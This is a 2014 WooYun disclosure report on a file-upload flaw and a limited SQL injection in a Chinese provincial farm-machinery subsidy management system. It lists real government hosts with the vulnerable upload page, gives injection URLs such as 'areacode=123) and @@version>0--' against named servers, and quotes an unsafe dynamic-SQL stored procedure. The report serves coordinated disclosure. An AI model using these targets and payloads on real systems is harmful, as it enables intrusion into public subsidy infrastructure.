漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-077670
漏洞标题:某省级系统存在文件上传及一个鸡肋SQL注入(影响全国34个省级行政区域)
相关厂商:cncert国家互联网应急中心
漏洞作者: wefgod
提交时间:2014-09-28 18:01
修复时间:2014-12-27 18:02
公开时间:2014-12-27 18:02
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-09-28: 细节已通知厂商并且等待厂商处理中
2014-09-30: 厂商已经确认,细节仅向厂商公开
2014-10-03: 细节向第三方安全合作伙伴开放
2014-11-24: 细节向核心白帽子及相关领域专家公开
2014-12-04: 细节向普通白帽子公开
2014-12-14: 细节向实习白帽子公开
2014-12-27: 细节向公众公开
简要描述:
省级专用系统。目前看的话基本所有省都用这货,而且还和$$$扯上关系的……被造假了就不好了
详细说明:
厂商:山西万鸿科技
系统叫“省级农机购置补贴信息管理系统”
购置补贴的管理系统啊!
搜索:
https://wen.lu/search?site=&source=hp&q=%E2%80%9C%E4%B8%8B%E8%BD%BD%E8%BA%AB%E4%BB%BD%E8%AF%81%E8%AF%BB%E5%8D%A1%E5%99%A8%E5%AE%89%E8%A3%85%E5%8C%85%E2%80%9D&btnK=Google+%E6%90%9C%E7%B4%A2&gws_rd=ssl
均为省级关键系统,可影响到购置补贴的发放。
部分系统截图如下:
云南:
江苏:
广东:
湖南:
存在漏洞的主要是2013版,目前看2011和2012应该不受影响。
漏洞证明:
一共两个漏洞,一个是文件上传,但是需要配合IIS6的解析漏洞(暂时没有办法截断)
第二个是一个鸡肋的sql
先说文件上传
存在漏洞的页面是Application/photo/save_NongHu.aspx
acode参数可以自定义,会拼接在随机文件名的前面,看下面的例子就知道了
直接用下面的代码就可以传了:
http://61.178.38.194/gsnjbt2013/Application/photo/save_NongHu.aspx
http://bt.ahnjh.gov.cn/2013/Application/photo/save_NongHu.aspx
http://202.75.221.11/zjnj2013/Application/photo/save_NongHu.aspx
http://218.241.216.135:88/njbt2013/Application/photo/save_NongHu.aspx
http://218.201.202.239:8081/gznj2013/Application/photo/save_NongHu.aspx
这个被禁了……
其它部分系统(仅做通用证明,但不是每个环境都使用了IIS6)
http://218.77.183.70/njbt2013/Application/photo/save_NongHu.aspx
http://218.26.97.198/sx2014/Application/photo/save_NongHu.aspx
http://218.26.97.198/sx2013/Application/photo/save_NongHu.aspx
http://116.52.13.46/ynnj2013/Application/photo/save_NongHu.aspx
http://njbt2013.gdnj.gov.cn/Application/photo/save_NongHu.aspx
http://amic.jxagri.gov.cn/nybgj2013/Application/photo/save_NongHu.aspx
http://221.208.13.141/hknj2013/Application/photo/save_NongHu.aspx
http://59.61.92.123:12345/njbt2013/Application/photo/save_NongHu.aspx
再说下那个鸡肋SQL注入
http://59.61.92.123:12345/njbt2013/Application/chakanfendang.aspx?height=480&width=700&TB_iframe=true&TB_iniframe=true&areacode=123) and @@version>--
http://61.178.38.194/gsnjbt2013/Application/chakanfendang.aspx?height=480&width=700&TB_iframe=true&TB_iniframe=true&areacode=123) and @@version>0--
http://218.77.183.70/njbt2013/Application/chakanfendang.aspx?height=480&width=700&TB_iframe=true&TB_iniframe=true&areacode=123) and @@version>0--
http://116.52.13.46/ynnj2013/Application/chakanfendang.aspx?height=480&width=700&TB_iframe=true&TB_iniframe=true&areacode=123) and @@version>0--
http://202.75.221.11/zjnj2013/Application/chakanfendang.aspx?height=480&width=700&TB_iframe=true&TB_iniframe=true&areacode=123) and @@version>0--
http://218.241.216.135:88/njbt2013/Application/chakanfendang.aspx?height=480&width=700&TB_iframe=true&TB_iniframe=true&areacode=123) and @@version>0--
这是一个鸡肋的sql注入,可以做的事情不多。可以看一下该查询调用的存储过程的主要部分:
exec('select distinct jijdl,jijxl,jijpm,fdmcbh,fdmc,m_model,m_facname,m_guojiabutie,m_shengbutie,isnull(m_guojiabutie_teshuxian,0) as guojiabutie_teshuxian,isnull(m_shengbutie_teshuxian,0) as shengbutie_teshuxian from v_machine_xian_use where (area_id='+@areacode+' or area_id=left('+@areacode+',6)+''00'' or area_id=left('+@areacode+',4)+''0000'' or area_id=left('+@areacode+',2)+''000000'')' +@condition )
而对于@condition,我们本身是可以控制的,但是用户自定义控件自带有一个防注入方法:
导致此处@condition无法注入,会提示包含非法字符
之前的@areacode虽然可控,而且他并非经过用户自定义控件进行取值的操作,所以无视上面的过滤,但可惜的是由于无法完美闭合,导致此处一直出现语法错误所以无法利用来暴其它的数据。可能可以想办法调用其它存储过程来进行一定的操作,这里就不再继续深入分析。
修复方案:
cert专业的
版权声明:转载请注明来源 wefgod@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:18
确认时间:2014-09-30 09:42
厂商回复:
最新状态:
暂无